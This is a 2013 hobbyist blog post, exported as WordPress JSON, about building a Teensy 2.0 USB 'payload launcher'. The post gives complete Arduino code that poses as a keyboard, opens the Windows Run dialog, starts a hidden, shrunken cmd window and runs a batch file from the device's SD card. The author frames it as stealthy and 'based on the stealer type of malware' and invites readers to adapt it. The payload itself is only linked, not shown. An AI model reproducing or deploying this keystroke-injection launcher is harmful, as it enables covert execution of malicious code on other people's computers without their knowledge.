{"id":2020,"date":"2013-09-04T23:28:43","date_gmt":"2013-09-04T20:28:43","guid":{"rendered":"http:\/\/9v.lt\/blog\/?p=2020"},"modified":"2023-01-30T23:02:13","modified_gmt":"2023-01-30T21:02:13","slug":"arduino-payload-launcher-teensy","status":"publish","type":"post","link":"http:\/\/9v.lt\/blog\/arduino-payload-launcher-teensy\/","title":{"rendered":"Arduino Payload launcher for Teensy"},"content":{"rendered":"<p>The other day I have bought a <a href=\"http:\/\/www.pjrc.com\/teensy\/\" target=\"_blank\" rel=\"noopener noreferrer\">Teensy2<\/a> to play around with. My goal was to make it launch my payloads as fast and as stealthy as possible.<br \/>\nI have never coded for arduino and right after I received my teensy in mail I started researching and reading up on arduino programming. I was surprised at how easy it was to begin with it. The PJRC tutorial was a good starting point.<br \/>\n<!--more--><br \/>\nAfter toying around a bit with arduino language I decided to start a project. It&#8217;s simple, had to do some reading and research in the process but the final result is great. Below I&#8217;ll give the code for Teensy.<\/p>\n<p>My payload launcher requires some things:<\/p>\n<p>Teensy has to have an SD card adapter installed with SD card present in it. I bought one along with a teensy because it was designed for it :P to attach the adapter I used smaller pins than they sell on PJRC and wrapped around with electrical tape &#8211; that way I didn&#8217;t have to solder anything leaving contacts in tact and it still works as it should.<\/p>\n<p>Teensy comes with 1 on-board LED on pin 11. That didn&#8217;t suffice my needs, so I had to install 2 separate LED&#8217;s as indicators. I used red and green ones coupled with 220 ohm resistors, attached to pins 9 and 10.<br \/>\nWork indication depends on a control file which must be created after your work is done. When Teensy is inserted and if there was an error initializing SD card, both, green and red LED&#8217;s will light up. If everything is OK, a red led will light up until the code starts executing &#8211; in my code it&#8217;s set to 15 seconds delay. While code is running the red LED will blink and when your work is done, a green LED will light up indicating that the work is done.<\/p>\n<p>The SD card must be named as TEENSY for the code to find itself when the launcher runs.<\/p>\n<p>Download whole project here: <a href=\"http:\/\/9v.lt\/projects\/C\/ArduinoPayloadLauncher\/Arduino_PayloadLauncher.zip\" target=\"_blank\" rel=\"noopener noreferrer\">Arduino_PayloadLauncher.zip<\/a><\/p>\n<p>Everything fits nicely in a match box. I glued it around with 1mm cardboard for reinforcement.<\/p>\n<p>Here&#8217;s how it looks like :)<\/p>\n<div class=\"row mt-3 mb-3\">\n<div class=\"col-md-3 g-0 m-2\"><a href=\"\/blog\/filemgmt\/uploads\/ivairios\/q9DUZFm.jpg\" rel=\"wpdevart_lightbox\"><img decoding=\"async\" src=\"\/blog\/filemgmt\/uploads\/ivairios\/q9DUZFm.jpg\"><\/a><\/div>\n<\/div>\n<p>Now the code. It&#8217;s well commented, so every noob should be able to modify it to their needs. In the future I will try to make teensy directly execute a payload when it is launched instead of navigating the computer to execute it, but it is very hard on payload side due to very small internal memory size.<\/p>\n<p>Demonstration:<br \/>\n<iframe loading=\"lazy\" title=\"My teensy in action\" width=\"810\" height=\"456\" src=\"https:\/\/www.youtube.com\/embed\/VrtP7FYHFSI?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe><\/p>\n<p>Code? Here it is:<\/p>\n<pre lang=\"cpp\">\r\n\/*\r\n    Author: Kulverstukas\r\n    Website: http:\/\/9v.lt\r\n    Description:\r\n          Payload launcher script for Teensy 2.0. Script is mostly based on the stealer type of malware.\r\n          Script is programmed to indicate work through 2 LED's attached to pins 9 and 10.\r\n*\/\r\n\r\n\/\/==============================================\r\n\r\n#include <SD.h>\r\n\r\n\/\/==============================================\r\n\r\n\/* this is the command that is executed in a CMD *\/\r\nconst char* CMD_COMMAND = \"for \/F %i in ('WMIC logicaldisk where \\\"DriveType=2\\\" list brief ^| find \\\"TEENSY\\\"') do (%i && start \"\" workemu.bat) && exit\";\r\n\r\n\/* this is the command to execute in RUN *\/\r\nconst char* RUN_COMMAND = \"cmd.exe \/K MODE CON COLS=16 LINES=1\";\r\n\r\n\/* a control variable so that the program knows when the program has ended executing *\/\r\n\/\/boolean foundFile = false;\r\n\r\n\/* Teensy 2.0 chip  *\/\r\nconst int TEENSY_CHIP = 0;\r\n\r\n\/* time to wait until instalation finishes. 15 seconds is enough most of the time... *\/\r\nconst int TIME_UNTIL_INSTALL = 15;\r\n\r\n\/* control file name *\/\r\nchar* CONTROL_FILE = \"control\";\r\n\r\n\/* LED pins *\/\r\nconst int RED_LED = 9;\r\nconst int GREEN_LED = 10;\r\n\r\n\/\/File root;\r\n\r\n\/\/==============================================\r\n\r\n\/* prototype functions *\/\r\nvoid indicateWork(int);\r\nvoid execute();\r\nvoid initCard();\r\nboolean checkForFile();\r\n\r\n\/\/==============================================\r\n\r\n\/* everything is being done here. setup() is used to make the script run only once *\/\r\nvoid setup() {\r\n    Serial.begin(9600);\r\n    pinMode(9, OUTPUT);\r\n    pinMode(10, OUTPUT);\r\n    digitalWrite(RED_LED, HIGH);\r\n    \r\n    initCard();\r\n  \r\n    \/\/ check the SD card for existing file here. For now we will just emulate shit\r\n    execute();\r\n\r\n    \/\/ constantly check for the control file and break out if it has\r\n    while (!checkForFile()) {\r\n        indicateWork(500);\r\n    }\r\n    digitalWrite(RED_LED, LOW);\r\n    digitalWrite(GREEN_LED, HIGH);\r\n}\r\n\r\n\/\/==============================================\r\n\r\nvoid loop() {\r\n    \/\/ do nothing here\r\n}\r\n\r\n\/\/==============================================\r\n\r\n\/* actual work is being done here *\/\r\nvoid execute() {\r\n    Keyboard.begin();\r\n    \r\n    delay(TIME_UNTIL_INSTALL*1000);\r\n    Keyboard.press(KEY_RIGHT_GUI);\r\n    Keyboard.press(KEY_R);\r\n    delay(100);\r\n    Keyboard.releaseAll();\r\n    delay(500);\r\n    \r\n    Keyboard.print(RUN_COMMAND);\r\n    Keyboard.press(KEY_ENTER);\r\n    delay(100);\r\n    Keyboard.releaseAll();\r\n    delay(1000);\r\n\r\n    Keyboard.print(CMD_COMMAND);\r\n    Keyboard.press(KEY_ENTER);    \r\n    Keyboard.releaseAll();\r\n    \r\n    Keyboard.end();\r\n}\r\n\r\n\/\/==============================================\r\n\r\n\/* LED blinking function to show that it's still writing  *\/\r\nvoid indicateWork(int millis) {\r\n    digitalWrite(RED_LED, HIGH);\r\n    delay(500);\r\n    digitalWrite(RED_LED, LOW);\r\n    delay(500);\r\n}\r\n\r\n\/\/==============================================\r\n\r\nvoid initCard() {\r\n    Serial.println(\"Initializing the card...\");\r\n    pinMode(10, OUTPUT);\r\n    \r\n    if (!SD.begin(TEENSY_CHIP)) {\r\n        Serial.println(\"init failed!\");\r\n        digitalWrite(RED_LED, HIGH);\r\n        digitalWrite(GREEN_LED, HIGH);\r\n    } else {\r\n        Serial.println(\"init done!\");\r\n    }\r\n}\r\n\r\n\/\/==============================================\r\n\r\nboolean checkForFile() {\r\n    boolean exists = false;\r\n    Serial.println(\"checking for file...\");\r\n    if (SD.exists(CONTROL_FILE)) {\r\n        Serial.println(\"control file exists!\");\r\n        exists = true;\r\n    } else {\r\n        Serial.println(\"control file doesn't exist yet...\");\r\n        exists = false;\r\n    }\r\n    return exists;\r\n}\r\n\r\n\/\/==============================================\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>The other day I have bought a Teensy2 to play around with. My goal was<\/p>\n","protected":false},"author":2,"featured_media":2025,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9,750],"tags":[866,57,867],"class_list":["post-2020","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-projects","category-software-projects","tag-arduino","tag-c","tag-teensy"],"_links":{"self":[{"href":"http:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/posts\/2020","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/comments?post=2020"}],"version-history":[{"count":0,"href":"http:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/posts\/2020\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/media\/2025"}],"wp:attachment":[{"href":"http:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/media?parent=2020"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/categories?post=2020"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/9v.lt\/blog\/wp-json\/wp\/v2\/tags?post=2020"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}